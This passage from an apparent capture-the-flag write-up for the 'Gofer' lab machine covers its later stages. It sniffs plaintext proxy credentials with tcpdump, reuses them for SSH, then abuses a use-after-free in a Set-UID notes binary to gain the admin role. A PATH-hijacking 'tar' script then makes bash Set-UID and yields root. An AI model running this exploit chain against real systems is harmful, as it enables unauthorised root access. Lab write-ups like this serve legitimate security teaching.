-rwsr-s--- 1 root dev 17168 Apr 28  2023 /usr/local/bin/notes
jhudson@gofer:~$
When listing the capabilities, we immediately notice an unusual one:

jhudson@gofer:~$ /usr/sbin/getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/usr/bin/ping cap_net_raw=ep
/usr/bin/tcpdump cap_net_admin,cap_net_raw=eip
jhudson@gofer:~$
We have the cap_net_admin capability to execute tcpdump, enabling us to conduct packet sniffing on all system interfaces.

Next, we'll run tcpdump to sniff packets on the network and store them in a capture. Storing them will allow us to later analyze the packets more conveniently using the Wireshark tool.

jhudson@gofer:/dev/shm$ tcpdump -i any -v -w captura.cap
After a minute, I ended the process. If we list the contents of the current directory, we can see the file captura.cap:

jhudson@gofer:/dev/shm$ ls
captura.cap
jhudson@gofer:/dev/shm$
After downloading the captura.cap file onto our attacker machine, we need to open it using WireShark:



By filtering through protocols, we'll quickly notice HTTP requests:



Upon closer inspection, we observe that these requests contain credentials:



It appears the user is attempting authentication to proxy.gofer.htb, which, as we recall, requested credentials for access. These credentials are traveling in plain text, allowing us to copy and potentially use them to our advantage.

Given the attempt to authenticate as the user tbuckley, we can verify if these credentials belong to this system-level user.

elswix@kali$ sshpass -p 'ooP4dietie3o_hquaeti' ssh tbuckley@10.10.11.225
Linux gofer.htb 5.10.0-23-amd64 #1 SMP Debian 5.10.179-2 (2023-07-14) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have no mail.
tbuckley@gofer:~$
We've successfully accessed as the user tbuckley via SSH using the credentials obtained from the HTTP request.


Shell as root


Listing the groups to which the user tbuckley belongs, we notice that they are part of the dev group:

tbuckley@gofer:~$ id
uid=1002(tbuckley) gid=1002(tbuckley) groups=1002(tbuckley),1004(dev)
tbuckley@gofer:~$
As we can recall, this group had permission to execute a Set-UID binary, so we can attempt to leverage this to gain root access.

Let's execute the /usr/local/bin/notes binary:

tbuckley@gofer:~$ /usr/local/bin/notes
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice:
Upon initial inspection, we're presented with a menu featuring 9 options. Let's select option 1:

Your choice: 1

Choose an username: elswix

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice:
After providing a username, selecting option 2 displays information about the user.

Your choice: 2


Username: elswix
Role: user

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice:
It returns two fields: one for the username and the other for the role.

Upon attempting to access option 8, it displays the following message:

Your choice: 8

Access denied: you don`t have the admin role!

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice:
It indicates that I don't have the admin role, considering that in option number 2, it displays our role as user.

Upon selecting option 3, it appears to delete the user we've created.

Your choice: 3

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice:
If we attempt to list our information using option 2, the following is displayed:

Your choice: 2


Username: 
Role: user

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice:
The username field is empty; it seems the information has been deleted.

If we restart the program and select option 2 without creating the user previously, a different error is displayed.

Your choice: 2

First create an user!

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice:
It seems that option 3 doesn't entirely delete the user we created.


Binary Analysis


To perform a more in-depth analysis of the binary, I'll use the Ghidra tool for reverse engineering.



The first thing that caught my attention was option 8, which required an admin role to access it.

Upon reading its code, we see the following:



At first glance, it appears that by becoming an admin, we can exploit Path Hijacking during the execution of the system() function. This is because the tar tool is being called relatively.

Firstly, at the beginning of the program, we notice a set of variables and pointers being defined.



The variable where the user-entered options are stored is named local_1c:



Thanks to the switch() statement, we confirm that the variable local_1c corresponds to the user-input options.

In option 1, we observe the following:



Initially, a request is made to the Heap for 0x28 bytes of memory, which in decimal is equivalent to 40 bytes. This memory section will be pointed to by the pointer local_10.

Subsequently, it checks whether the local_10 pointer is null. If this occurs, it is likely that the memory allocation from the preceding line was unsuccessful, leading the program to exit using the exit() function.

Utilizing the memset() function, the first 24 bytes of the memory section pointed to by local_10 are being filled with zeros. Then, in the second memset() function call, the remaining memory pointed to by local_10 is filled with zeros.

It's important to note that the pointer local_10 is referencing a memory section of 40 bytes in size. Hence, the first memset() call zeroes out the initial 24 bytes, leaving the remaining bytes (0x10, which is 16 in decimal) to be filled with zeros.

Subsequently, a variable named _Var1 is defined:



In this section of the code, a variable named _Var1 is declared to store the UID (User ID) of the user running this program. In our case, we'll be running it as the user tbuckley, so it will have the value 1002.

Following this, there's a comparison involving the value of _Var1, in simple terms, checking if the user running the program is the root user.

If the user running the program is the root user, the string admin will be assigned to the memory section located 24 bytes from the start of the memory sector pointed to by local_10. Otherwise, if the user running the program is not root, the string user will be assigned.



Finally, the console displays the message Choose an username:, and then it requests a value to be entered, which will be stored in the memory section pointed to by local_10.

This entire process pertains to the creation of a user. If we navigate to option 2, we encounter the following:



Initially, it checks whether the pointer local_10 is null; if it's not null, it displays information about our user on the screen.

Firstly, it displays the string to which local_10 points, in this case, it will be the username specified in option 1. Then, it shows the string located 24 bytes after the start of local_10.

The issue lies within option 3:



When the pointer local_10 is not null (meaning we've previously created a user), the memory allocated, pointed to by local_10 and initially obtained by using malloc(0x28), is released back to the Heap.

The vulnerability arises from the fact that even though the memory is freed, the pointer continues to point to the same memory section. Consequently, if memory is requested from the Heap again and assigned to the memory section pointed to by local_10, it becomes possible to access any information in that section using this pointer.

In essence, since local_10 doesn't become null again, it keeps pointing to the same memory section. After the memory has been freed, if elsewhere in the program new memory is allocated, it can be accessed through local_10.



In option 4, we are given the opportunity to write a note. Initially, we notice that memory is being requested from the heap again, this time a total of 40 bytes.

Subsequently, the 40 bytes are filled with zeros. Then, it performs a check to verify if there have been no issues with the pointer. Afterward, it displays a message Write your note:, prompting us to provide data that will be stored in the memory section pointed to by local_18.

Let's recall that when we "delete" our user, the allocated memory is freed, but the issue lies in the fact that local_10 continues to point to that memory section.

Later, when creating a note, the same amount of memory is requested again. This will allocate the same block of memory previously reserved by local_10, although this time it will be pointed to by local_18. However, since local_10 still points to that memory section, we can access it.

In option 7, when deleting the note, it does so correctly by setting the local_18 pointer to null, preventing its further use.



Knowing this, our plan is to initialize the local_10 pointer to point to the memory block we requested in option 1, entering our username, and being assigned the user role.

Subsequently, we will delete our user, freeing the previously allocated memory. Then, we'll create a new note with special content. Our goal is to overwrite our role, so we need to input an appropriate string.

By entering the correct string, when listing the user information in option 2, it will display the content of the note because local_10 continues to point to the same memory section.

Let's proceed with the test. I'll create the user elswix using option 1:

Choose an username: elswix

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice:
Let's remember that this option requested a block of 40 bytes of memory that will be pointed to by the pointer local_10.

Now, let's list the information of our user using option 2:

Your choice: 2


Username: elswix
Role: user

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice:
Nothing out of the ordinary, it displays the username we entered and our role.

Next, I'll select option 3 to "delete" my user and thus free the memory pointed to by local_10:

Your choice: 3

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice:
If we attempt to list the information of our user, we see that the username field is empty:

Your choice: 2


Username: 
Role: user

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice:
If it were properly implemented, upon entering option 2 after having "deleted" our user, it should display the message First create an user!.

Now, I will create a note with any content:

Your choice: 4

Write your note:
this is a test
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice:
Now, if we list the information of our user:

Your choice: 2


Username: this
Role: 

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice:
I see the string this, which corresponds to the first word I entered in the previously created note. This occurs because both pointers local_10 and local_18 point to the same memory section. By exploiting the local_10 pointer, I can view the content of the note.

To exploit this and assign ourselves the admin role, we need to remember where in the memory block the username and role are allocated.

The username corresponds to the first 24 bytes of the memory block pointed to by local_10, and the role occupies the remaining bytes to complete the memory block, which are approximately 16 bytes.

As we're overwriting the memory pointed to by local_10 through option 4, we should input the first 24 bytes as if they were a username (24 arbitrary characters). Following these 24 bytes, we should enter the string admin because this will belong to the role field.

We'll follow the same process as before, but when writing the note in option 4, I'll input the following string:

Your choice: 4

Write your note:
BBBBBBBBBBBBBBBBBBBBBBBBadmin
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice:
I filled the first 24 bytes with the character B, and then added the string admin.

Now, if we list the user information:

Your choice: 2


Username: BBBBBBBBBBBBBBBBBBBBBBBBadmin
Role: admin

========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice:
We've overwritten the role field, successfully obtaining the admin role. Thanks to this, we can access option 8:

Your choice: 8

Access granted!
tar: Removing leading `/' from member names
/opt/notes/
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice:
We encounter an error with the tar tool. As we may recall, this tool is executed relative to the system level. Therefore, we can create a malicious bash script named tar in the current working directory. Subsequently, when executing the Set-UID binary, we specify a path that includes the current directory.

This is the content of the bash script:

tbuckley@gofer:/dev/shm$ cat tar
#!/bin/bash
chmod u+s /bin/bash
tbuckley@gofer:/dev/shm$
We need to assign it execution permissions:

tbuckley@gofer:/dev/shm$ chmod +x tar
Now, let's execute the Set-UID binary while specifying the PATH:

tbuckley@gofer:/dev/shm$ PATH=$(pwd):$PATH /usr/local/bin/notes
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice:
After completing the exploitation process, we select option 8:

Your choice: 8

Access granted!
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================


Your choice:
No errors have been returned, so it appears that everything has worked correctly.

When listing the privileges of /bin/bash, we observe that it is Set-UID:

tbuckley@gofer:/dev/shm$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash
tbuckley@gofer:/dev/shm$
Now, by specifying the -p parameter, we can execute commands as root and view the final flag:

tbuckley@gofer:/dev/shm$ bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt
5c398********************5167e
bash-5.1#